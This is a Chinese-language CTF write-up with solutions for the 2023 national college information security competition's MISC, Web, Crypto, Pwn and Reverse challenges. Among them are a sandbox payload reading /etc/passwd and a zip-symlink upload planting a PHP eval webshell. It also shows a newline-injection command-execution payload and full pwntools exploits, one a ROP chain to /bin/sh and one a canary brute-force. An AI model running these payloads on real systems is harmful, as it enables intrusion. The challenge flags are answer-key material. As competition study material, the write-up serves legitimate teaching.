您现在的位置是:首页 >其他 >2023年第十六届全国大学生信息安全竞赛能力赛部分(WP)网站首页其他
2023年第十六届全国大学生信息安全竞赛能力赛部分(WP)
MISC
签到卡
访问页面
输入ls得到提示
print(open(‘/etc/passwd’).read())
执行测试后发现成功执行命令,将etc/passwd换为flag去执行得到最后结果:print(open(‘/flag’).read())
flag值:
flag{3bd47cb8-e9cd-4170-8d62-788f10fb1663}
被加密的生产流量
分析modbus流量,追踪tcp流
发现base32编码,进行解密得到flag值
得到flag值:c1f_fi1g_1000
flag值:
flag{c1f_fi1g_1000}
Pyshell
通过测试和题目名称得知存在python沙盒逃逸并且一次只能输入7个字符串,使用+进行拼接调用eval函数成功执行命令
flag值:
flag{e3534b41-280c-4065-8648-db90e8c40e90}
国粹
下载附件得到三张图片,分别为题目.png、a.png和K.png
将图片中的麻将分割成单个麻将图片,每张图片分割成341张,一共总图片数为1023张 根据题目.png麻将顺序每张图片指定一个序号,从1-42
就是麻将图片对应的坐标,对a.png和k.png分割得到的图片查找MD5哈希值对应的序号坐标:
然后对坐标进行绘画制图得到flag:
flag值:flag{202305012359}
Web
Unzip
随便上传一个文件后得到php代码通过代码审计得知上传zip文件后解压
创建指向html目录的软链接,压缩成zip文件得到lian.zip:
ln -s /var/www/html/ lian
zip --symlinks lian.zip lian
PHP木马:<?php eval($_POST[1]); ?>
放入与软连接同名的文件中后压缩得到lian2.zip:
依次发送两个压缩包:
连接out.php:
flag值:
flag{59e95852-2a53-4341-a7de-b4e063b0db90}
Dumpit
访问ctf库里的flag1,flag2,flag3,flag4,flag5,flag6中的提示得到flag不在数据库中,得到flag要通过rce获得
使用换行绕过后命令执行构造payload: ?db=&table_2_dump=%0A ls
?db=&table_2_dump=%0A ls / #查看根目录
?db=&table_2_dump=%0A set #查看环境变量
flag值:
flag{1a3d5288-6cb1-486d-b81b-d2e748a7ddad}
Crypto
Sign_in_passwd
打开文件得到第一行为base64下一行为表:
先对表进行url解码
得到表:GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
Base64换表:
flag值:
flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}
可信度量
非预期打出
利用到了Linux基础命令grep查找/目录的文件-a表示将二进制文件看作为文本文件 -r表示递归在子目录中查找文件后得到flag
flag值:
flag{2ea02cbe-f3c0-41d7-93c2-d1517c67cc8}
基于国密SM2算法的密钥密文分发
通过题目得知此题为SM2加密算法,根据world文档进行获取相应的公钥私钥等
对字符串进行SM4ECB解密,生成随机字符串明文序列,通过系统生产的公私钥对和随机字符串序列来解出quantumstring的铭文序列上传服务器得到正确flag
编写exp:
import requests
import json
from pysmx.SM2 import generate_keypair
pk, sk = generate_keypair(64)
data = {
"school": "xxxxxxx",
"name": "xxx",
"phone":"xxxxxxxxxxxx"
}
res = requests.post("http://123.56.135.185:13670/api/login", data=data)
j = json.loads(res.text)
u_id = j['data']['id']
data = {
"publickey": pk,
"id": u_id
}
get_private_key_resp = requests.post("http://123.56.135.185:13670/api/allkey", data = data)
get_private_key2 = requests.post("http://123.56.135.185:13670/api/quantum", data = {"id":u_id})
quantumstring = json.loads(get_private_key2.text)["data"]["quantumString"]
check = requests.post("http://123.56.135.185:13670/api/check", {"id": u_id, "quantumString": quantumstring})
search = requests.post("http://123.56.135.185:13670/api/search", data = {"id":u_id})
server_quantum_string = json.loads(search.text)["data"]["quantumStringServer"].upper()
check = requests.post("http://123.56.135.185:13670/api/check", {"id": u_id, "quantumString": server_quantum_string})
search = requests.post("http://123.56.135.185:13670/api/search", data = {"id":u_id})
print(search.text)
结果为:
flag值:
flag{8da2366e-1e78-46a3-b691-cf39e8545443}
Pwn
烧烤摊儿
从程序里面发现pijiu函数的里面出现了负数溢出。通过此溢出转入到gaiming函数,然后再通过ropgadget工具来获取ropchain。
from pwn import *
import struct
import os
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./shaokao")
DEBUG = 0
rdi = 0x000000000040264f
rsi = 0x000000000040a67e
bx = 0x00000000004a404b
rax = 0x0000000000458827
ret = 0x00000000004230a6
ad = 0x4e96c0
def exp(p):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil("3. 勇闯天涯 ")
p.sendline(b"1")
p.recvuntil("来几瓶? ")
p.sendline(b"-100000")
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"> ")
p.sendline(b"5")
p.recvuntil("烧烤摊儿已归你所有,请赐名: ")
payload = b"a"*0x28 + p64(rdi) + p64(0) + p64(rsi) + p64(ad) + p64(bx) + p64(0x100) + p64(0)
payload += p64(rax) + p64(0) + p64(ret)
payload += p64(rdi) + p64(ad) + p64(rsi) + p64(0) + p64(bx) + p64(0) + p64(0)
payload += p64(rax) + p64(59) + p64(ret)
p.sendline(payload)
sleep(0.5)
p.send(b"/bin/sh")
p.interactive()
def main():
if DEBUG:
p = process("./shaokao")
gdb.attach(p, "source ./.gdbinit")
exp(p)
else:
p = remote("123.56.135.185",15620)
exp(p)
if __name__ == "__main__":
main()
flag值:
flag{7c6fd41f-c556-47fc-992f-c5992eeacc74}
Funcanary
Ida分析,每次输入都是通过一个新的fork()函数,根据栈溢出首先爆破canary,在程序中查看到system函数,交叉引用发现了后门函数,最后覆盖rip最低两个字节(4个16进制位)进入后门函数就可以拿到flag。
Exp:
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
elf = ELF('./funcanary')
p = remote('39.105.26.155',41266)
p.recvuntil('welcome ')
canary = 'x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + chr(i))
p.send('a'*0x68 + canary + chr(i))
a = p.recvuntil("welcome ")
print(a)
if b"have fun " in a:
canary += chr(i)
print("canary: " + canary)
break
addr = 0x1231
canary = u64(canary)
for k in range(7):
for i in range(0xf+1):
print("the " + str(k) + ": " + chr(i))
pay = b'a'*0x68 + p64(canary) + p64(0) + p8(0x31) + p8((i<<4) + 2)
p.send(pay)
a = p.recvuntil("welcome ")
print(a)
if b"have fun " in a:
pause()
p.interactive()
得到flag
flag值:
flag{a4690a42-9318-472c-8a51-196573f63018}
Reverse
babyRE
题目描述:baby也能做出来的RE
拿到xml文件,直接打开:
编译工具都给出来了:
<project name="re4baby22" app="Snap! 8.2, https://snap.berkeley.edu" version="2">
直接访问工具,Snap! Build Your Own Blocks(网址):
接下来直接将文件导入,发现就能运行:
右面竟然还有使用方法,按步运行:
来到下面,主要部分:
经过分析整体的流程,得异或可得flag
得exp:
var a =
[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30];
var b = a[0];
s = "";
var arr = [];
for(var i=1; i<a.length; i++) {
s += String.fromCharCode(b);
arr.push(b);
b = b ^ a[i];
}
arr.push(b);
s += String.fromCharCode(b);
console.log(s);
flag值:
flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}
EZbyte
64位无壳:直接拖入IDA
看main函数:
先查看一下字符串:
这里有个输入,直接跟到主要部分__int64 __fastcall sub_404C21(unsigned __int8 *a1):
只有这里有 DW_CFA 表达式,就是异或和sub
Exp:
a= (2616514329260088143 ^ 1237891274917891239) - 1892739
b = (8502251781212277489 ^ 1209847170981118947) - 8971237
c = (2451795628338718684 ^ 1098791727398412397) - 1512312
d = (8722213363631027234 ^ 1890878197237214971) - 9123704
flag = b'flag{'
flag += int.to_bytes(a, 8, 'little')
flag += int.to_bytes(b, 8, 'little')
flag += int.to_bytes(c, 8, 'little')
flag += int.to_bytes(d, 8, 'little')
flag += b'3861}'
print(flag)
flag值:
flag{e609efb5-e70e-4e94-ac69-ac31d96c3861}